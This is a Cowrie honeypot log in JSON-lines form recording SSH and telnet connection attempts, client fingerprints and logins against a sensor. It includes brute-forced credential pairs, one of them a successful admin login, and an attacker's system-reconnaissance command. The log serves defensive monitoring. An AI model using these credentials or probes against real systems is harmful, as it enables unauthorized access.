{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51760,"dst_ip":"159.203.135.109","dst_port":22,"session":"e42ce791f6fb","protocol":"ssh","message":"New connection: 159.203.92.129:51760 (159.203.135.109:22) [session: e42ce791f6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:30.136134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:30.143433Z","src_ip":"159.203.92.129","session":"e42ce791f6fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:30.150410Z","src_ip":"159.203.92.129","session":"e42ce791f6fb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"passadmin23","message":"login attempt [admin/passadmin23] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:30.163834Z","src_ip":"159.203.92.129","session":"e42ce791f6fb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:30.404360Z","src_ip":"159.203.92.129","session":"e42ce791f6fb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:30.409871Z","src_ip":"159.203.92.129","session":"e42ce791f6fb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:30.414545Z","src_ip":"159.203.92.129","session":"e42ce791f6fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":34906,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bdb4d0815f0","protocol":"telnet","message":"New connection: 46.4.8.162:34906 (159.203.135.109:23) [session: 6bdb4d0815f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:30.423676Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:30.429546Z","src_ip":"159.203.92.129","session":"e42ce791f6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:30.435683Z","src_ip":"159.203.92.129","session":"e42ce791f6fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00182318687439,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:31.626652Z","src_ip":"189.26.176.246","session":"e099dfcff81c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.26.176.246","src_port":34828,"dst_ip":"159.203.135.109","dst_port":23,"session":"24ce5d68ec22","protocol":"telnet","message":"New connection: 189.26.176.246:34828 (159.203.135.109:23) [session: 24ce5d68ec22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:32.983322Z"}
{"eventid":"cowrie.session.closed","duration":37.104384899139404,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:33.800413Z","src_ip":"46.4.8.162","session":"0ad10a916299","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.910876989364624,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:34.171344Z","src_ip":"46.4.8.162","session":"0e80da14bd95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":40544,"dst_ip":"10.17.0.5","dst_port":23,"session":"d29ed8a2a06a","protocol":"telnet","message":"New connection: 192.46.229.33:40544 (10.17.0.5:23) [session: d29ed8a2a06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:34.228781Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48118,"dst_ip":"159.203.135.109","dst_port":23,"session":"893b1f66f15a","protocol":"telnet","message":"New connection: 46.4.8.162:48118 (159.203.135.109:23) [session: 893b1f66f15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:34.242518Z"}
{"eventid":"cowrie.session.closed","duration":30.785621643066406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:34.685330Z","src_ip":"46.4.8.162","session":"e6b339a17175","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48120,"dst_ip":"159.203.135.109","dst_port":23,"session":"777f8688a68a","protocol":"telnet","message":"New connection: 46.4.8.162:48120 (159.203.135.109:23) [session: 777f8688a68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:35.104069Z"}
{"eventid":"cowrie.session.closed","duration":120.00096011161804,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:35.985958Z","src_ip":"189.26.176.246","session":"7b1aed94015d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.26.176.246","src_port":34877,"dst_ip":"159.203.135.109","dst_port":23,"session":"f666a9f1e8e3","protocol":"telnet","message":"New connection: 189.26.176.246:34877 (159.203.135.109:23) [session: f666a9f1e8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:37.279605Z"}
{"eventid":"cowrie.session.closed","duration":32.18723964691162,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:37.787350Z","src_ip":"46.4.8.162","session":"fb585b0b6044","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48132,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd78e85ebe8b","protocol":"telnet","message":"New connection: 46.4.8.162:48132 (159.203.135.109:23) [session: cd78e85ebe8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:39.018922Z"}
{"eventid":"cowrie.session.closed","duration":37.172624588012695,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:39.139982Z","src_ip":"46.4.8.162","session":"ee8a85ecc3ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48136,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6a5027c2c1a","protocol":"telnet","message":"New connection: 46.4.8.162:48136 (159.203.135.109:23) [session: b6a5027c2c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:40.183150Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48146,"dst_ip":"159.203.135.109","dst_port":23,"session":"42a3f4c554d7","protocol":"telnet","message":"New connection: 46.4.8.162:48146 (159.203.135.109:23) [session: 42a3f4c554d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:40.887557Z"}
{"eventid":"cowrie.session.closed","duration":34.08088827133179,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:41.357682Z","src_ip":"188.166.220.49","session":"04ce78c5da35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.206482887268066,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:41.452918Z","src_ip":"188.166.220.49","session":"52a1035bd5e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":48156,"dst_ip":"159.203.135.109","dst_port":23,"session":"e24f111e5e3f","protocol":"telnet","message":"New connection: 46.4.8.162:48156 (159.203.135.109:23) [session: e24f111e5e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:42.457147Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40400,"dst_ip":"159.203.135.109","dst_port":23,"session":"37195ace0858","protocol":"telnet","message":"New connection: 46.4.8.162:40400 (159.203.135.109:23) [session: 37195ace0858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:42.938863Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40402,"dst_ip":"159.203.135.109","dst_port":23,"session":"4284936d4862","protocol":"telnet","message":"New connection: 46.4.8.162:40402 (159.203.135.109:23) [session: 4284936d4862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:43.230188Z"}
{"eventid":"cowrie.session.closed","duration":37.07050800323486,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:43.325204Z","src_ip":"46.4.8.162","session":"4b9f87be74c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40416,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee04f0440311","protocol":"telnet","message":"New connection: 46.4.8.162:40416 (159.203.135.109:23) [session: ee04f0440311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:43.618268Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40424,"dst_ip":"159.203.135.109","dst_port":23,"session":"23e0e4d14b3d","protocol":"telnet","message":"New connection: 46.4.8.162:40424 (159.203.135.109:23) [session: 23e0e4d14b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:43.931832Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40434,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac34193af76c","protocol":"telnet","message":"New connection: 46.4.8.162:40434 (159.203.135.109:23) [session: ac34193af76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:44.497274Z"}
{"eventid":"cowrie.session.closed","duration":34.40745162963867,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:44.638308Z","src_ip":"188.166.220.49","session":"903eebe74588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40436,"dst_ip":"159.203.135.109","dst_port":23,"session":"19cc951c74c9","protocol":"telnet","message":"New connection: 46.4.8.162:40436 (159.203.135.109:23) [session: 19cc951c74c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:45.081118Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40438,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec3912cae56f","protocol":"telnet","message":"New connection: 46.4.8.162:40438 (159.203.135.109:23) [session: ec3912cae56f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:45.197302Z"}
{"eventid":"cowrie.session.closed","duration":34.072368144989014,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:45.580943Z","src_ip":"188.166.220.49","session":"debbc4be003d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":43496,"dst_ip":"10.17.0.5","dst_port":23,"session":"062b0e75d1a1","protocol":"telnet","message":"New connection: 192.46.229.33:43496 (10.17.0.5:23) [session: 062b0e75d1a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:46.243733Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40450,"dst_ip":"159.203.135.109","dst_port":23,"session":"c920cef1f70a","protocol":"telnet","message":"New connection: 46.4.8.162:40450 (159.203.135.109:23) [session: c920cef1f70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:46.530234Z"}
{"eventid":"cowrie.session.closed","duration":34.49358510971069,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:46.578913Z","src_ip":"188.166.220.49","session":"980083479df0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.01072025299072,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:46.678774Z","src_ip":"188.166.220.49","session":"0dc3f09579ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.5695595741272,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:48.486501Z","src_ip":"188.166.220.49","session":"09e6a9d036ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82968306541443,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:50.103928Z","src_ip":"160.153.174.187","session":"6e63b51b5286","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40468,"dst_ip":"159.203.135.109","dst_port":23,"session":"d21560b1f2bd","protocol":"telnet","message":"New connection: 46.4.8.162:40468 (159.203.135.109:23) [session: d21560b1f2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:51.819179Z"}
{"eventid":"cowrie.session.closed","duration":31.612093687057495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:51.891239Z","src_ip":"46.4.8.162","session":"eecfbce3e2b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":40454,"dst_ip":"159.203.135.109","dst_port":23,"session":"072b4f79eeb3","protocol":"telnet","message":"New connection: 46.4.8.162:40454 (159.203.135.109:23) [session: 072b4f79eeb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:52.599361Z"}
{"eventid":"cowrie.session.closed","duration":33.43457341194153,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:53.096558Z","src_ip":"46.4.8.162","session":"0cc73546341a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47752,"dst_ip":"159.203.135.109","dst_port":23,"session":"18425efc23df","protocol":"telnet","message":"New connection: 46.4.8.162:47752 (159.203.135.109:23) [session: 18425efc23df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:53.728697Z"}
{"eventid":"cowrie.session.closed","duration":34.385634660720825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:53.817800Z","src_ip":"46.4.8.162","session":"36eb375d716d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":46308,"dst_ip":"10.17.0.5","dst_port":23,"session":"50e6a5b0607b","protocol":"telnet","message":"New connection: 192.46.229.33:46308 (10.17.0.5:23) [session: 50e6a5b0607b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:54.475759Z"}
{"eventid":"cowrie.session.closed","duration":34.50532054901123,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:54.752834Z","src_ip":"46.4.8.162","session":"9e48a1293905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47764,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b3c7f074a9","protocol":"telnet","message":"New connection: 46.4.8.162:47764 (159.203.135.109:23) [session: 12b3c7f074a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:55.327132Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47776,"dst_ip":"159.203.135.109","dst_port":23,"session":"49efe8dcac56","protocol":"telnet","message":"New connection: 46.4.8.162:47776 (159.203.135.109:23) [session: 49efe8dcac56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:56.063472Z"}
{"eventid":"cowrie.session.closed","duration":33.84673833847046,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:56.934747Z","src_ip":"46.4.8.162","session":"7d8685ff11f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.45830488204956,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:57.921129Z","src_ip":"188.166.220.49","session":"801729da8039","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":17109,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c87cef4246a","protocol":"ssh","message":"New connection: 223.197.186.7:17109 (159.203.135.109:22) [session: 4c87cef4246a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:59.050447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:59.056326Z","src_ip":"223.197.186.7","session":"4c87cef4246a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47788,"dst_ip":"159.203.135.109","dst_port":23,"session":"781f17fa990b","protocol":"telnet","message":"New connection: 46.4.8.162:47788 (159.203.135.109:23) [session: 781f17fa990b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:59.261944Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:16:59.275774Z","src_ip":"223.197.186.7","session":"4c87cef4246a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":47526,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ea28f74142f","protocol":"telnet","message":"New connection: 192.46.229.33:47526 (10.17.0.5:23) [session: 6ea28f74142f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:00.092343Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"mko0-pl,","message":"login attempt [root/mko0-pl,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:00.222243Z","src_ip":"223.197.186.7","session":"4c87cef4246a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47792,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b9ed499c9bd","protocol":"telnet","message":"New connection: 46.4.8.162:47792 (159.203.135.109:23) [session: 1b9ed499c9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:00.505379Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":47528,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e7d04d24e58","protocol":"telnet","message":"New connection: 192.46.229.33:47528 (10.17.0.5:23) [session: 8e7d04d24e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:01.076545Z"}
{"eventid":"cowrie.session.closed","duration":38.18038845062256,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:01.242568Z","src_ip":"188.166.220.49","session":"0e9274bed5c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:01.438276Z","src_ip":"223.197.186.7","session":"4c87cef4246a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47816,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c53cc45a0a9","protocol":"telnet","message":"New connection: 46.4.8.162:47816 (159.203.135.109:23) [session: 5c53cc45a0a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:02.593991Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":56710,"dst_ip":"159.203.135.109","dst_port":23,"session":"69819459fd5f","protocol":"telnet","message":"New connection: 188.166.220.49:56710 (159.203.135.109:23) [session: 69819459fd5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:03.191804Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":47802,"dst_ip":"159.203.135.109","dst_port":23,"session":"69e9f5011cc3","protocol":"telnet","message":"New connection: 46.4.8.162:47802 (159.203.135.109:23) [session: 69e9f5011cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:03.351730Z"}
